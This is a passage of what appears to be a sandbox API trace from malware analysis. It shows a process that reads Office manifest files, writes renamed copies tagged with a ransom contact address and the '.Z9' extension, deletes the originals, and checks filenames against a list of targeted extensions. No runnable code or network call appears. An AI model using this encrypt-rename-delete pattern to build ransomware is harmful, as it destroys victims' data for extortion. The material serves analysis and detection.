	[0078.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.779] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.779] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0078.779] GetLastError () returned 0x0
	[0078.779] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.781] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.782] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.782] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.782] SetEndOfFile (hFile=0x300) returned 1
	[0078.782] CloseHandle (hObject=0x300) returned 1
	[0078.783] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.783] SetEndOfFile (hFile=0x378) returned 1
	[0078.784] CloseHandle (hObject=0x378) returned 1
	[0078.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".doc") returned 4
	[0078.785] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString=".docx") returned 5
	[0078.785] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.785] lstrlenW (lpString=".pdf") returned 4
	[0078.785] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString=".xls") returned 4
	[0078.785] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString=".xlsx") returned 5
	[0078.785] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.785] lstrlenW (lpString=".ppt") returned 4
	[0078.785] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".zip") returned 4
	[0078.785] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.785] lstrlenW (lpString=".rar") returned 4
	[0078.785] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString=".bz2") returned 4
	[0078.785] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString=".7z") returned 3
	[0078.785] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".dbf") returned 4
	[0078.785] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".1cd") returned 4
	[0078.785] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".jpg") returned 4
	[0078.785] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.785] lstrlenW (lpString=".doc") returned 4
	[0078.786] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString=".docx") returned 5
	[0078.786] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.786] lstrlenW (lpString=".pdf") returned 4
	[0078.786] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString=".xls") returned 4
	[0078.786] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString=".xlsx") returned 5
	[0078.786] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.786] lstrlenW (lpString=".ppt") returned 4
	[0078.786] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.786] lstrlenW (lpString=".zip") returned 4
	[0078.786] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.786] lstrlenW (lpString=".rar") returned 4
	[0078.786] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString=".bz2") returned 4
	[0078.786] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString=".7z") returned 3
	[0078.786] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.786] lstrlenW (lpString=".dbf") returned 4
	[0078.786] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.786] lstrlenW (lpString=".1cd") returned 4
	[0078.786] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 104
	[0078.786] lstrlenW (lpString=".jpg") returned 4
	[0078.786] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.786] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.786] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53
	[0078.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.787] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=399528) returned 1
	[0078.787] CloseHandle (hObject=0x378) returned 1
	[0078.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.787] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0078.788] GetLastError () returned 0x0
	[0078.788] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x618a8, lpOverlapped=0x0) returned 1
	[0078.797] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x618b0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x618b0, lpOverlapped=0x0) returned 1
	[0078.968] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.968] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.969] SetEndOfFile (hFile=0x300) returned 1
	[0078.969] CloseHandle (hObject=0x300) returned 1
	[0078.978] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.978] SetEndOfFile (hFile=0x378) returned 1
	[0078.981] CloseHandle (hObject=0x378) returned 1
	[0078.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.982] lstrlenW (lpString=".doc") returned 4
	[0078.982] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.982] lstrlenW (lpString=".docx") returned 5
	[0078.982] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.982] lstrlenW (lpString=".pdf") returned 4
	[0078.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.982] lstrlenW (lpString=".xls") returned 4
	[0078.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.982] lstrlenW (lpString=".xlsx") returned 5
	[0078.982] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.982] lstrlenW (lpString=".ppt") returned 4
	[0078.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.982] lstrlenW (lpString=".zip") returned 4
	[0078.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.983] lstrlenW (lpString=".rar") returned 4
	[0078.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString=".bz2") returned 4
	[0078.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString=".7z") returned 3
	[0078.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString=".dbf") returned 4
	[0078.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString=".1cd") returned 4
	[0078.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString=".jpg") returned 4
	[0078.983] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString=".doc") returned 4
	[0078.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString=".docx") returned 5
	[0078.983] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.983] lstrlenW (lpString=".pdf") returned 4
	[0078.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString=".xls") returned 4
	[0078.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString=".xlsx") returned 5
	[0078.983] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.983] lstrlenW (lpString=".ppt") returned 4
	[0078.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.983] lstrlenW (lpString=".zip") returned 4
	[0078.984] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.984] lstrlenW (lpString=".rar") returned 4
	[0078.984] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.984] lstrlenW (lpString=".bz2") returned 4
	[0078.984] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.984] lstrlenW (lpString=".7z") returned 3
	[0078.984] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.984] lstrlenW (lpString=".dbf") returned 4
	[0078.984] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.984] lstrlenW (lpString=".1cd") returned 4
	[0078.984] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 104
	[0078.984] lstrlenW (lpString=".jpg") returned 4
	[0078.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.984] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.984] lstrlenW (lpString="AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 53
	[0078.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.985] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0078.985] CloseHandle (hObject=0x378) returned 1
	[0078.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0079.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0079.055] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.055] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0080.119] GetLastError () returned 0x0
	[0080.119] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0080.120] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0080.121] ReadFile (in: hFile=0x394, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.121] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0080.122] SetEndOfFile (hFile=0x388) returned 1
	[0080.122] CloseHandle (hObject=0x388) returned 1
	[0080.123] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.123] SetEndOfFile (hFile=0x394) returned 1
	[0080.123] CloseHandle (hObject=0x394) returned 1
	[0080.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0080.124] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0409-1000-0000000ff1ce.xml")) returned 1
	[0080.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.124] lstrlenW (lpString=".doc") returned 4
	[0080.124] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.124] lstrlenW (lpString=".docx") returned 5
	[0080.124] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.124] lstrlenW (lpString=".pdf") returned 4
	[0080.124] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.124] lstrlenW (lpString=".xls") returned 4
	[0080.124] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.124] lstrlenW (lpString=".xlsx") returned 5
	[0080.124] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.125] lstrlenW (lpString=".ppt") returned 4
	[0080.125] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.125] lstrlenW (lpString=".zip") returned 4
	[0080.125] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.125] lstrlenW (lpString=".rar") returned 4
	[0080.125] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.125] lstrlenW (lpString=".bz2") returned 4
	[0080.125] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.125] lstrlenW (lpString=".7z") returned 3
	[0080.125] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.125] lstrlenW (lpString=".dbf") returned 4
	[0080.125] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.126] lstrlenW (lpString=".1cd") returned 4
	[0080.126] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.126] lstrlenW (lpString=".jpg") returned 4
	[0080.126] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.126] lstrlenW (lpString=".doc") returned 4
	[0080.126] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString=".docx") returned 5
	[0080.126] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0080.126] lstrlenW (lpString=".pdf") returned 4
	[0080.126] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString=".xls") returned 4
	[0080.126] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString=".xlsx") returned 5
	[0080.126] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0080.126] lstrlenW (lpString=".ppt") returned 4
	[0080.126] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0080.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.126] lstrlenW (lpString=".zip") returned 4
	[0080.126] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0080.127] lstrlenW (lpString=".rar") returned 4
	[0080.127] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0080.127] lstrlenW (lpString=".bz2") returned 4
	[0080.127] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0080.127] lstrlenW (lpString=".7z") returned 3
	[0080.127] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0080.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104
	[0080.127] lstrlenW (lpString=".dbf") returned 4
	[0080.127] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
